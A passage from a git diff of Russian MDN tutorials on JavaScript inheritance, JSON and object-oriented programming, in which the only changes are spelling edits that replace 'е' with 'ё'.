class="notranslate"><code>Object.defineProperty(Teacher.prototype, 'constructor', { value: Teacher, @@ -193,12 +193,12 @@ teacher1.farewell();</pre> <p>Все должно работать нормально. Запросы в строках 1, 2, 3 и 6 унаследованные от общего конструктора <code>Person()</code> (класса). Запрос в строке 4 обращается к <code>subject</code>, доступному только для более специализированного конструктора (класса) <code>Teacher()</code>. Запрос в строке 5 получил бы доступ к методу <code>greeting()</code>, унаследованному от <code>Person()</code>, но <code>Teacher()</code> имеет свой собственный метод <code>greeting()</code> с тем же именем, поэтому запрос обращается к этому методу.</p> <div class="note"> -<p><strong>Примечание</strong>. Если вам не удается заставить это работать, сравните свой код с нашей <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-finished.html">готовой версией</a> (см. также <a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-student.html">рабочее демо</a>).</p> +<p><strong>Примечание</strong>. Если вам не удаётся заставить это работать, сравните свой код с нашей <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-finished.html">готовой версией</a> (см. также <a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-student.html">рабочее демо</a>).</p> </div> -<p>Методика, которую мы здесь рассмотрели, - это не единственный способ создания наследующих классов в JavaScript, но он работает нормально и это дает вам представление о том, как реализовать наследование в JavaScript.</p> +<p>Методика, которую мы здесь рассмотрели, - это не единственный способ создания наследующих классов в JavaScript, но он работает нормально и это даёт вам представление о том, как реализовать наследование в JavaScript.</p> -<p>Вам также может быть интересно узнать некоторые из новых функций {{glossary("ECMAScript")}}, которые позволяют нам делать наследование более чисто в JavaScript (см. <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a>). Мы не рассматривали их здесь, поскольку они пока не поддерживаются очень широко в браузерах. Все остальные конструкторы кода, которые мы обсуждали в этом наборе статей, поддерживаются еще в IE9 или ранее и есть способы добиться более ранней поддержки, чем это.</p> +<p>Вам также может быть интересно узнать некоторые из новых функций {{glossary("ECMAScript")}}, которые позволяют нам делать наследование более чисто в JavaScript (см. <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a>). Мы не рассматривали их здесь, поскольку они пока не поддерживаются очень широко в браузерах. Все остальные конструкторы кода, которые мы обсуждали в этом наборе статей, поддерживаются ещё в IE9 или ранее и есть способы добиться более ранней поддержки, чем это.</p> <p>Обычный способ - использовать библиотеку JavaScript - большинство популярных опций имеют простой набор функций, доступных для выполнения наследования более легко и быстро. <a href="http://coffeescript.org/#classes">CoffeeScript</a> , например, предоставляет класс, расширяет и т.д.</p> @@ -207,7 +207,7 @@ teacher1.farewell();</pre> <p>В нашем <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS#Object-oriented_programming_from_10000_meters">руководстве по Объектно-ориентированному JavaScript для начинающих</a> мы также включили класс <code>Student</code> как концепцию, которая наследует все особенности <code>Person</code>, а также имеет другой метод <code>greeting()</code> от <code>Person</code>, который гораздо более неформален, чем приветствие <code>Teacher</code>. Посмотрите, как выглядит приветствие ученика в этом разделе, и попробуйте реализовать собственный конструктор <code>Student()</code>, который наследует все функции <code>Person()</code> и реализует другую функцию <code>greeting()</code>.</p> <div class="note"> -<p><strong>Примечание</strong>. Если вам не удается заставить это работать, сравните свой код с нашей <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-student.html">готовой версией</a> (см. также <a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-student.html">рабочее демо</a>).</p> +<p><strong>Примечание</strong>. Если вам не удаётся заставить это работать, сравните свой код с нашей <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-student.html">готовой версией</a> (см. также <a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-student.html">рабочее демо</a>).</p> </div> <h2 id="Object_member_summary">Object member summary</h2> @@ -215,20 +215,20 @@ teacher1.farewell();</pre> <p>Подводя итог, вы в основном получили три типа свойств / методов, о которых нужно беспокоиться:</p> <ol> - <li>Те, которые определены внутри функции-конструктора, которые присваиваются экземплярам объекта. Их довольно легко заметить - в вашем собственном коде они представляют собой элементы, определенные внутри конструктора, используя строки <code>this.x = x</code>; в встроенном коде браузера они являются членами, доступными только для экземпляров объектов (обычно создаются путем вызова конструктора с использованием ключевого слова <code>new</code>, например <code>var myInstance = new myConstructor ()</code>.</li> - <li>Те, которые определяются непосредственно самим конструктором, которые доступны только для конструктора. Они обычно доступны только для встроенных объектов браузера и распознаются путем непосредственной привязки к конструктору, а не к экземпляру. Например, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys">Object.keys()</a></code>.</li> - <li>Те, которые определены в прототипе конструктора, которые наследуются всеми экземплярами и наследуют классы объектов. К ним относятся любой член, определенный в свойстве прототипа конструктора, например. <code>myConstructor.prototype.x()</code>.</li> + <li>Те, которые определены внутри функции-конструктора, которые присваиваются экземплярам объекта. Их довольно легко заметить - в вашем собственном коде они представляют собой элементы, определённые внутри конструктора, используя строки <code>this.x = x</code>; в встроенном коде браузера они являются членами, доступными только для экземпляров объектов (обычно создаются путём вызова конструктора с использованием ключевого слова <code>new</code>, например <code>var myInstance = new myConstructor ()</code>.</li> + <li>Те, которые определяются непосредственно самим конструктором, которые доступны только для конструктора. Они обычно доступны только для встроенных объектов браузера и распознаются путём непосредственной привязки к конструктору, а не к экземпляру. Например, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys">Object.keys()</a></code>.</li> + <li>Те, которые определены в прототипе конструктора, которые наследуются всеми экземплярами и наследуют классы объектов. К ним относятся любой член, определённый в свойстве прототипа конструктора, например. <code>myConstructor.prototype.x()</code>.</li> </ol> -<p>Если вы не уверены, что это такое, не беспокойтесь об этом, пока вы еще учитесь и знание придет с практикой.</p> +<p>Если вы не уверены, что это такое, не беспокойтесь об этом, пока вы ещё учитесь и знание придёт с практикой.</p> <h2 id="Когда_вы_используете_наследование_в_JavaScript">Когда вы используете наследование в JavaScript?</h2> <p>В частности, после этой последней статьи вы можете подумать: «У-у-у, это сложно». Ну, ты прав. Прототипы и наследование представляют собой некоторые из самых сложных аспектов JavaScript, но многие возможности и гибкость JavaScript вытекают из его структуры объектов и наследования и стоит понять, как это работает.</p> -<p>В некотором смысле вы используете наследование все время. Всякий раз, когда вы используете различные функции веб-API или методы/свойства, определенные во встроенном объекте браузера, который вы вызываете в своих строках, массивах и т.д., вы неявно используете наследование.</p> +<p>В некотором смысле вы используете наследование все время. Всякий раз, когда вы используете различные функции веб-API или методы/свойства, определённые во встроенном объекте браузера, который вы вызываете в своих строках, массивах и т.д., вы неявно используете наследование.</p> -<p>Что касается использования наследования в вашем собственном коде, вы, вероятно, не будете часто его использовать, особенно для начала и в небольших проектах. Это пустая трата времени на использование объектов и наследование только ради этого, когда они вам не нужны. Но по мере того, как ваши базы кода становятся больше, вы с большей вероятностью найдете необходимость в этом. Если вы начинаете создавать несколько объектов с подобными функциями, то создание универсального типа объекта, содержащего все общие функции и наследование этих функций в более специализированных типах объектов, может быть удобным и полезным.</p> +<p>Что касается использования наследования в вашем собственном коде, вы, вероятно, не будете часто его использовать, особенно для начала и в небольших проектах. Это пустая трата времени на использование объектов и наследование только ради этого, когда они вам не нужны. Но по мере того, как ваши базы кода становятся больше, вы с большей вероятностью найдёте необходимость в этом. Если вы начинаете создавать несколько объектов с подобными функциями, то создание универсального типа объекта, содержащего все общие функции и наследование этих функций в более специализированных типах объектов, может быть удобным и полезным.</p> <div class="note"> <p><strong>Примечание</strong>. Из-за того, как работает JavaScript, с цепочкой прототипов и т.д., совместное использование функций между объектами часто называется <strong>делегированием</strong>. Специализированные объекты делегируют функциональность универсальному типу объекта.</p> @@ -236,7 +236,7 @@ teacher1.farewell();</pre> <p>При использовании наследования вам рекомендуется не иметь слишком много уровней наследования и тщательно отслеживать, где вы определяете свои методы и свойства. Можно начать писать код, который временно изменяет прототипы встроенных объектов браузера, но вы не должны этого делать, если у вас нет действительно веской причины. Слишком много наследования могут привести к бесконечной путанице и бесконечной боли при попытке отладки такого кода.</p> -<p>В конечном счете, объекты - это еще одна форма повторного использования кода, например функций или циклов, со своими конкретными ролями и преимуществами. Если вы обнаруживаете, что создаете кучу связанных переменных и функций и хотите отслеживать их все вместе и аккуратно их упаковывать, объект является хорошей идеей. Объекты также очень полезны, когда вы хотите передать коллекцию данных из одного места в другое. Обе эти вещи могут быть достигнуты без использования конструкторов или наследования. Если вам нужен только один экземпляр объекта, вам лучше всего использовать литерал объекта и вам, разумеется, не нужно наследование.</p> +<p>В конечном счёте, объекты - это ещё одна форма повторного использования кода, например функций или циклов, со своими конкретными ролями и преимуществами. Если вы обнаруживаете, что создаёте кучу связанных переменных и функций и хотите отслеживать их все вместе и аккуратно их упаковывать, объект является хорошей идеей. Объекты также очень полезны, когда вы хотите передать коллекцию данных из одного места в другое. Обе эти вещи могут быть достигнуты без использования конструкторов или наследования. Если вам нужен только один экземпляр объекта, вам лучше всего использовать литерал объекта и вам, разумеется, не нужно наследование.</p> <h2 id="Резюме">Резюме</h2> diff --git a/files/ru/learn/javascript/objects/json/index.html b/files/ru/learn/javascript/objects/json/index.html index 68cc6c7fdd..be0ab2e664 100644 --- a/files/ru/learn/javascript/objects/json/index.html +++ b/files/ru/learn/javascript/objects/json/index.html @@ -12,7 +12,7 @@ original_slug: Learn/JavaScript/Объекты/JSON <div>{{PreviousMenuNext("Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects/Object_building_practice", "Learn/JavaScript/Objects")}}</div> -<p class="summary">Обозначение объектов JavaScript (JSON - JavaScript Object Notation) - стандартный текстовый формат для представления структурированных данных на основе синтаксиса объекта JavaScript. Он обычно используется для передачи данных в веб-приложениях (например, отправка некоторых данных с сервера клиенту,таким образом чтобы это могло отображаться на веб-странице или наоборот). Вы будете сталкиваться с этим довольно часто, поэтому в этой статье мы даем вам все, что вам нужно для работы с JSON используя JavaScript, включая парсинг JSON, чтобы вы могли получить доступ к данным внутри него при создании JSON.</p> +<p class="summary">Обозначение объектов JavaScript (JSON - JavaScript Object Notation) - стандартный текстовый формат для представления структурированных данных на основе синтаксиса объекта JavaScript. Он обычно используется для передачи данных в веб-приложениях (например, отправка некоторых данных с сервера клиенту,таким образом чтобы это могло отображаться на веб-странице или наоборот). Вы будете сталкиваться с этим довольно часто, поэтому в этой статье мы даём вам все, что вам нужно для работы с JSON используя JavaScript, включая парсинг JSON, чтобы вы могли получить доступ к данным внутри него при создании JSON.</p> <table class="learn-box standard-table"> <tbody> @@ -37,7 +37,7 @@ original_slug: Learn/JavaScript/Объекты/JSON <p><strong>Примечание</strong>: Преобразование строки в родной объект называется десериализацией (преобразование из последовательной формы в параллельную<em>)</em>, в то время как преобразовании родного объекта в строку, таким образом ,чтобы он мог быть передан через сеть, называется сериализацией(преобразование в последовательную форму).</p> </div> -<p>Объект JSON может быть сохранен в собственном файле, который в основном представляет собой текстовый файл с расширением <code>.json</code> и {{glossary("MIME type")}} <code>application/json</code>.</p> +<p>Объект JSON может быть сохранён в собственном файле, который в основном представляет собой текстовый файл с расширением <code>.json</code> и {{glossary("MIME type")}} <code>application/json</code>.</p> <h3 id="Структура_JSON">Структура JSON</h3> @@ -85,7 +85,7 @@ original_slug: Learn/JavaScript/Объекты/JSON ] }</pre> -<p>Если бы мы загрузили этот объект в программу JavaScript, создали переменную с названием <code>superHeroes</code>, мы могли бы затем получить доступ к данным внутри нее, используя те же самые точечную и скобочную нотации, которые мы рассмотрели в статье <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Basics">JavaScript object basics</a>. Например:</p> +<p>Если бы мы загрузили этот объект в программу JavaScript, создали переменную с названием <code>superHeroes</code>, мы могли бы затем получить доступ к данным внутри неё, используя те же самые точечную и скобочную нотации, которые мы рассмотрели в статье <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Basics">JavaScript object basics</a>. Например:</p> <pre class="brush: js">superHeroes.homeTown superHeroes['active']</pre> @@ -139,10 +139,10 @@ superHeroes['active']</pre> <ul> <li>JSON - это чисто формат данных - он содержит только свойства, без методов.</li> - <li>JSON требует двойных кавычек, которые будут использоваться вокруг строк и имен свойств. Одиночные кавычки недействительны.</li> + <li>JSON требует двойных кавычек, которые будут использоваться вокруг строк и имён свойств. Одиночные кавычки недействительны.</li> <li>Даже одна неуместная запятая или двоеточие могут привести к сбою JSON-файла и не работать. Вы должны быть осторожны, чтобы проверить любые данные, которые вы пытаетесь использовать (хотя сгенерированный компьютером JSON с меньшей вероятностью включает ошибки, если программа генератора работает правильно). Вы можете проверить JSON с помощью приложения вроде <a href="http://jsonlint.com/">JSONLint</a>.</li> <li>JSON может принимать форму любого типа данных, допустимого для включения в JSON, а не только массивов или объектов. Так, например, одна строка или номер будут действительным объектом JSON.</li> - <li>В отличие от кода JavaScript, в котором свойства объекта могут не заключаться в двойные кавычки, в JSON в качестве свойств могут использоваться только строки заключенные в двойные кавычки.</li> + <li>В отличие от кода JavaScript, в котором свойства объекта могут не заключаться в двойные кавычки, в JSON в качестве свойств могут использоваться только строки заключённые в двойные кавычки.</li> </ul> <h2 id="Активное_обучение_Работа_с_примером_JSON">Активное обучение: Работа с примером JSON</h2> @@ -175,7 +175,7 @@ var section = document.querySelector('section');</pre> <p>Чтобы получить JSON, мы будем использовать API, называемый {{domxref("XMLHttpRequest")}} (часто называемый <strong>XHR</strong>). Это очень полезный объект JavaScript, который позволяет нам делать сетевые запросы для извлечения ресурсов с сервера через JavaScript (например, изображения, текст, JSON, даже фрагменты HTML), что означает, что мы можем обновлять небольшие разделы контента без необходимости перезагрузки всей страницы. Это привело к более отзывчивым веб-страницам и звучит захватывающе, но, к сожалению, выходит за рамки этой статьи, чтобы изучить это гораздо более подробно.</p> <ol> - <li>Начнем с того, что мы собираемся сохранить URL-адрес JSON, который мы хотим получить в переменной. Добавьте нижеследующий код JavaScript: + <li>Начнём с того, что мы собираемся сохранить URL-адрес JSON, который мы хотим получить в переменной. Добавьте нижеследующий код JavaScript: <pre class="brush: js">var requestURL = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json';</pre> </li> <li>Чтобы создать запрос, нам нужно создать новый экземпляр объекта запроса из конструктора <code>XMLHttpRequest</code>, используя ключевое слово <code>new</code>. Добавьте следующую ниже свою последнюю строку: @@ -204,9 +204,9 @@ request.send();</pre> </li> </ol> -<p>Здесь мы сохраняем ответ на наш запрос (доступный в свойстве <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/response">response</a></code>) в переменной <code>superHeroes</code>; эта переменная теперь будет содержать объект JavaScript, основанный на JSON! Затем мы передаем этот объект двум вызовам функций - первый из них заполнит <code><header></code> правильными данными, а второй создаст информационную карту для каждого героя в команде и вставляет ее в <code><section></code>.</p> +<p>Здесь мы сохраняем ответ на наш запрос (доступный в свойстве <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/response">response</a></code>) в переменной <code>superHeroes</code>; эта переменная теперь будет содержать объект JavaScript, основанный на JSON! Затем мы передаём этот объект двум вызовам функций - первый из них заполнит <code><header></code> правильными данными, а второй создаст информационную карту для каждого героя в команде и вставляет её в <code><section></code>.</p> -<p>Мы свернули код в обработчик событий, который запускается, когда событие загрузки запускается в объекте запроса (см. <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequestEventTarget/onload">onload</a></code>) - это связано с тем, что событие загрузки запускается, когда ответ успешно возвращается; поступая таким образом,это гарантия того, что <code>request.response</code> определенно будет доступен, когда мы начнем работу с ним.</p> +<p>Мы свернули код в обработчик событий, который запускается, когда событие загрузки запускается в объекте запроса (см. <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequestEventTarget/onload">onload</a></code>) - это связано с тем, что событие загрузки запускается, когда ответ успешно возвращается; поступая таким образом,это гарантия того, что <code>request.response</code> определённо будет доступен, когда мы начнём работу с ним.</p> <p>Заполнение заголовка</p> @@ -222,11 +222,11 @@ request.send();</pre> header.appendChild(myPara); }</pre> -<p>Мы назвали параметр <code>jsonObj</code>, чтобы напомнить себе, что этот объект JavaScript возник из JSON. Здесь мы сначала создаем элемент {{HTMLElement("h1")}} с <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/createElement">createElement()</a></code>, устанавливаем его <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Node/textContent">textContent</a></code> равным свойству <code>squadName</code> объекта, а затем добавляем его в заголовок с помощью <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Node/appendChild">appendChild()</a></code>. Затем мы выполняем очень похожую операцию с абзацем: создаем его, устанавливаем его текстовое содержимое и добавляем его в заголовок. Единственное различие заключается в том, что его текст задан, как конкатенированная строка, содержащая как <code>homeTown</code>, так и <code>formed</code> свойства объекта.</p> +<p>Мы назвали параметр <code>jsonObj</code>, чтобы напомнить себе, что этот объект JavaScript возник из JSON. Здесь мы сначала создаём элемент {{HTMLElement("h1")}} с <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/createElement">createElement()</a></code>, устанавливаем его <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Node/textContent">textContent</a></code> равным свойству <code>squadName</code> объекта, а затем добавляем его в заголовок с помощью <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Node/appendChild">appendChild()</a></code>. Затем мы выполняем очень похожую операцию с абзацем: создаём его, устанавливаем его текстовое содержимое и добавляем его в заголовок. Единственное различие заключается в том, что его текст задан, как конкатенированная строка, содержащая как <code>homeTown</code>, так и <code>formed</code> свойства объекта.</p> <h3 id="Создание_информационных_карт_героя">Создание информационных карт героя</h3> -<p>Затем добавьте следующую функцию внизу кода, которая создает и отображает карты супергероев:</p> +<p>Затем добавьте следующую функцию внизу кода, которая создаёт и отображает карты супергероев:</p> <pre class="brush: js">function showHeroes(jsonObj) { var heroes = jsonObj['members']; @@ -266,16 +266,16 @@ request.send();</pre> <p>Затем мы используем <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code#The_standard_for_loop">for loop</a> для циклического прохождения каждого объекта в массиве. Для каждого из них мы:</p> <ol> - <li>Создаем несколько новых элементов: <code><article></code>, <code><h2></code>, три <code><p></code> и <code><ul></code>.</li> + <li>Создаём несколько новых элементов: <code><article></code>, <code><h2></code>, три <code><p></code> и <code><ul></code>.</li> <li>Устанавливаем <code><h2></code>, чтобы содержать <code>name</code> текущего героя.</li> <li>Заполняем три абзаца своей <code>secretIdentity</code>, <code>age</code> и строкой, в которой говорится: «Суперспособности:», чтобы ввести информацию в список.</li> <li>Сохраняем свойство <code>powers</code> в другой новой переменной под названием <code>superPowers</code> - где содержится массив, в котором перечислены сверхспособности текущего героя.</li> - <li>Используем другой цикл <code>for</code>, чтобы прокрутить сверхспособности текущего героя , для каждого из них мы создаем элемент <code><li></code>, помещаем в него сверхспособности, а затем помещаем <code>listItem</code> внутри элемента <code><ul></code> (<code>myList</code>) с помощью <code>appendChild()</code>.</li> + <li>Используем другой цикл <code>for</code>, чтобы прокрутить сверхспособности текущего героя , для каждого из них мы создаём элемент <code><li></code>, помещаем в него сверхспособности, а затем помещаем <code>listItem</code> внутри элемента <code><ul></code> (<code>myList</code>) с помощью <code>appendChild()</code>.</li> <li>Последнее, что мы делаем, это добавляем <code><h2></code>, <code><p></code> и <code><ul></code> внутри <code><article></code> (<code>myArticle</code>), а затем добавляем <code><article></code> в <code><section></code>. Важное значение имеет порядок, в котором добавляются элементы, так как это порядок, который они будут отображать внутри HTML.</li> </ol> <div class="note"> -<p><strong>Примечание</strong>. Если вам не удается заставить этот пример работать, попробуйте обратиться к нашему исходному коду <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes-finished.html">heroes-finished.html</a> (см. также он работает <a href="https://mdn.github.io/learning-area/javascript/oojs/json/heroes-finished.html">в режиме live</a>).</p> +<p><strong>Примечание</strong>. Если вам не удаётся заставить этот пример работать, попробуйте обратиться к нашему исходному коду <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes-finished.html">heroes-finished.html</a> (см. также он работает <a href="https://mdn.github.io/learning-area/javascript/oojs/json/heroes-finished.html">в режиме live</a>).</p> </div> <div class="note"> @@ -284,11 +284,11 @@ request.send();</pre> <h2 id="Преобразование_между_объектами_и_текстом">Преобразование между объектами и текстом</h2> -<p>Вышеприведенный пример был прост с точки зрения доступа к объекту JavaScript, потому что мы задали XHR-запрос для прямого преобразования ответа JSON в объект JavaScript, используя:</p> +<p>Вышеприведённый пример был прост с точки зрения доступа к объекту JavaScript, потому что мы задали XHR-запрос для прямого преобразования ответа JSON в объект JavaScript, используя:</p> <pre class="brush: js">request.responseType = 'json';</pre> -<p>Но иногда нам не так везет - иногда мы получаем сырую строку JSON и нам нужно преобразовать ее в объект самостоятельно. И когда мы хотим отправить объект JavaScript по сети, нам нужно преобразовать его в JSON (строку) перед отправкой. К счастью, эти две проблемы настолько распространены в веб-разработке, что встроенный объект <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON">JSON</a> доступен в браузерах, которые содержат следующие два метода:</p> +<p>Но иногда нам не так везёт - иногда мы получаем сырую строку JSON и нам нужно преобразовать её в объект самостоятельно. И когда мы хотим отправить объект JavaScript по сети, нам нужно преобразовать его в JSON (строку) перед отправкой. К счастью, эти две проблемы настолько распространены в веб-разработке, что встроенный объект <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON">JSON</a> доступен в браузерах, которые содержат следующие два метода:</p> <ul> <li><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse">parse()</a></code>: принимает строку JSON в качестве параметра и возвращает соответствующий объект JavaScript.</li> @@ -315,7 +315,7 @@ myJSON var myString = JSON.stringify(myJSON); myString</pre> -<p>Здесь мы создаем объект JavaScript, затем проверяем, что он содержит, а затем преобразуем его в строку JSON, используя <code>stringify()</code> , сохраняя возвращаемое значение в новой переменной, а затем снова проверяем его.</p> +<p>Здесь мы создаём объект JavaScript, затем проверяем, что он содержит, а затем преобразуем его в строку JSON, используя <code>stringify()</code> , сохраняя возвращаемое значение в новой переменной, а затем снова проверяем его.</p> <h2 id="Резюме">Резюме</h2> diff --git a/files/ru/learn/javascript/objects/object-oriented_js/index.html b/files/ru/learn/javascript/objects/object-oriented_js/index.html index e5f44c9fb4..490f68d94c 100644 --- a/files/ru/learn/javascript/objects/object-oriented_js/index.html +++ b/files/ru/learn/javascript/objects/object-oriented_js/index.html @@ -17,7 +17,7 @@ original_slug: Learn/JavaScript/Объекты/Object-oriented_JS <div>{{PreviousMenuNext("Learn/JavaScript/Objects/Basics", "Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects")}}</div> -<p class="summary">Разобравшись с основами, сосредоточимся на объектно-ориентированном JavaScript (OOJS) — данная статья дает базовое представление о теории объектно-ориентированного программирования (ООП), далее рассмотрено как JavaScript эмулирует классы объектов с помощью функции-конструктора и как создаются экземпляры объектов.</p> +<p class="summary">Разобравшись с основами, сосредоточимся на объектно-ориентированном JavaScript (OOJS) — данная статья даёт базовое представление о теории объектно-ориентированного программирования (ООП), далее рассмотрено как JavaScript эмулирует классы объектов с помощью функции-конструктора и как создаются экземпляры объектов.</p> <table class="learn-box standard-table"> <tbody> @@ -38,7 +38,7 @@ original_slug: Learn/JavaScript/Объекты/Object-oriented_JS <p>Начнём с упрощённого высокоуровневого представления о том, что такое <em>объектно-ориентированное программирование</em> <em>(ООП)</em>. Мы говорим упрощённого, потому что ООП может быстро стать очень сложным, и если сейчас дать полный курс, вероятно, можно запутать больше, чем помочь. Основная идея ООП заключается в том, что мы используем объекты для отображения моделей из реального мира в наших программах и/или упрощения доступа к функциям, которые в противном случае было бы трудно или невозможно использовать.</p> -<p>Объекты могут содержать данные и код, представляющие информацию о том, что вы пытаетесь смоделировать, а также о том, какие у этих объектов должны быть функциональные возможности или поведение. Данные объекта (а часто так же и функции) могут быть точно сохранены (официальный термин "<strong>инкапсулированы"</strong>) внутри пакета объекта, упрощая структуру и доступ к ним. Пакету объекта может быть присвоено определенное имя, на которое можно сослаться и которое иногда называют <strong>пространством имен.</strong> Объекты также широко используются в качестве хранилищ данных, которые могут быть легко отправлены по сети.</p> +<p>Объекты могут содержать данные и код, представляющие информацию о том, что вы пытаетесь смоделировать, а также о том, какие у этих объектов должны быть функциональные возможности или поведение. Данные объекта (а часто так же и функции) могут быть точно сохранены (официальный термин "<strong>инкапсулированы"</strong>) внутри пакета объекта, упрощая структуру и доступ к ним. Пакету объекта может быть присвоено определённое имя, на которое можно сослаться и которое иногда называют <strong>пространством имен.</strong> Объекты также широко используются в качестве хранилищ данных, которые могут быть легко отправлены по сети.</p> <h3 id="Определение_шаблона_объекта">Определение шаблона объекта</h3> @@ -56,7 +56,7 @@ original_slug: Learn/JavaScript/Объекты/Object-oriented_JS <p><img alt="" src="https://mdn.mozillademos.org/files/13883/MDN-Graphics-instantiation-2.png" style="display: block; height: 743px; margin: 0px auto; width: 700px;"></p> -<p>Когда экземпляр объекта создается из класса, для его создания выполняется <strong>функция-конструктор </strong>класса. Этот процесс создания экземпляра объекта из класса называется <strong>создание экземпляра (instantiation)</strong> — из класса <strong>создается</strong> экземпляр объекта.</p> +<p>Когда экземпляр объекта создаётся из класса, для его создания выполняется <strong>функция-конструктор </strong>класса. Этот процесс создания экземпляра объекта из класса называется <strong>создание экземпляра (instantiation)</strong> — из класса <strong>создаётся</strong> экземпляр объекта.</p> <h3 id="Специализированные_классы">Специализированные классы</h3> @@ -64,7 +64,7 @@ original_slug: Learn/JavaScript/Объекты/Object-oriented_JS <p><img alt="" src="https://mdn.mozillademos.org/files/13881/MDN-Graphics-inherited-3.png" style="display: block; height: 743px; margin: 0px auto; width: 700px;"></p> -<p>Это действительно полезно — преподаватели и студенты имеют много общих характеристик, таких как имя, пол и возраст, и удобно определить их только один раз. Вы можете также задать одну и ту же характеристику отдельно в разных классах, поскольку каждое определение этой характеристики будет находиться в отдельном пространстве имен. Например, приветствие студента может быть в форме "Yo, I'm [firstName]" (например <em>Yo, I'm Sam</em>), в то время как учитель может использовать что-то более формальное, такое как "Hello, my name is [Prefix] [lastName], and I teach [Subject]." (например <em>Hello, My name is Mr Griffiths, and I teach Chemistry</em>).</p> +<p>Это действительно полезно — преподаватели и студенты имеют много общих характеристик, таких как имя, пол и возраст, и удобно определить их только один раз. Вы можете также задать одну и ту же характеристику отдельно в разных классах, поскольку каждое определение этой характеристики будет находиться в отдельном пространстве имён. Например, приветствие студента может быть в форме "Yo, I'm [firstName]" (например <em>Yo, I'm Sam</em>), в то время как учитель может использовать что-то более формальное, такое как "Hello, my name is [Prefix] [lastName], and I teach [Subject]." (например <em>Hello, My name is Mr Griffiths, and I teach Chemistry</em>).</p> <div class="note"> <p><strong>Примечание</strong>: Если вам интересно, существует специальный термин <strong>Polymorphism (Полиморфизм)</strong> - это забавное слово, обозначающее реализацию той же функциональности для нескольких типов объекта. </p> @@ -111,7 +111,7 @@ salva.greeting();</pre> </li> </ol> -<p>Функция-конструктор - это JavaScript версия класса. Вы заметите, что в нем есть все признаки, которые вы ожидаете от функции, хотя он ничего не возвращает и явно не создает объект - он в основном просто определяет свойства и методы. Вы также увидите, что ключевое слово this также используется здесь, - это в основном говорит о том, что всякий раз, когда создается один из этих экземпляров объектов, свойство имени объекта будет равно значению <code>name</code>, переданному вызову конструктора, и метод <code>greeting()</code> будет использовать значение имени, переданное также вызову конструктора.</p> +<p>Функция-конструктор - это JavaScript версия класса. Вы заметите, что в нем есть все признаки, которые вы ожидаете от функции, хотя он ничего не возвращает и явно не создаёт объект - он в основном просто определяет свойства и методы. Вы также увидите, что ключевое слово this также используется здесь, - это в основном говорит о том, что всякий раз, когда создаётся один из этих экземпляров объектов, свойство имени объекта будет равно значению <code>name</code>, переданному вызову конструктора, и метод <code>greeting()</code> будет использовать значение имени, переданное также вызову конструктора.</p> <div class="note"> <p><strong>Примечание:</strong> Имя функции конструктора обычно начинается с заглавной буквы - это соглашение используется для упрощения распознавания функций конструктора в коде.</p> @@ -132,14 +132,14 @@ person2.greeting()</pre> </li> </ol> -<p>Круто! Теперь, как вы видите, у нас есть два новых объекта на странице, каждый из которых хранится в отдельном пространстве имен - при доступе к их свойствам и методам вы должны начинать вызовы с <code>person1</code> или <code>person2</code>; функциональность, содержащаяся внутри, аккуратно упакована, поэтому она не будет конфликтовать с другими функциями. Тем не менее, у них есть одно и то же свойство <code>name</code> и <code>greeting()</code>. Обратите внимание, что они используют свое собственное значение <code>name</code>, которое было присвоено им, когда они были созданы; это одна из причин, почему очень важно использовать <code>this</code>, таким образом они будут использовать свои собственные значения, а не какие-либо другие.</p> +<p>Круто! Теперь, как вы видите, у нас есть два новых объекта на странице, каждый из которых хранится в отдельном пространстве имён - при доступе к их свойствам и методам вы должны начинать вызовы с <code>person1</code> или <code>person2</code>; функциональность, содержащаяся внутри, аккуратно упакована, поэтому она не будет конфликтовать с другими функциями. Тем не менее, у них есть одно и то же свойство <code>name</code> и <code>greeting()</code>. Обратите внимание, что они используют своё собственное значение <code>name</code>, которое было присвоено им, когда они были созданы; это одна из причин, почему очень важно использовать <code>this</code>, таким образом они будут использовать свои собственные значения, а не какие-либо другие.</p> <p>Давайте снова посмотрим на вызовы конструктора:</p> <pre class="brush: js notranslate">let person1 = new Person('Bob'); let person2 = new Person('Sarah');</pre> -<p>В каждом случае ключевое слово <code>new</code> 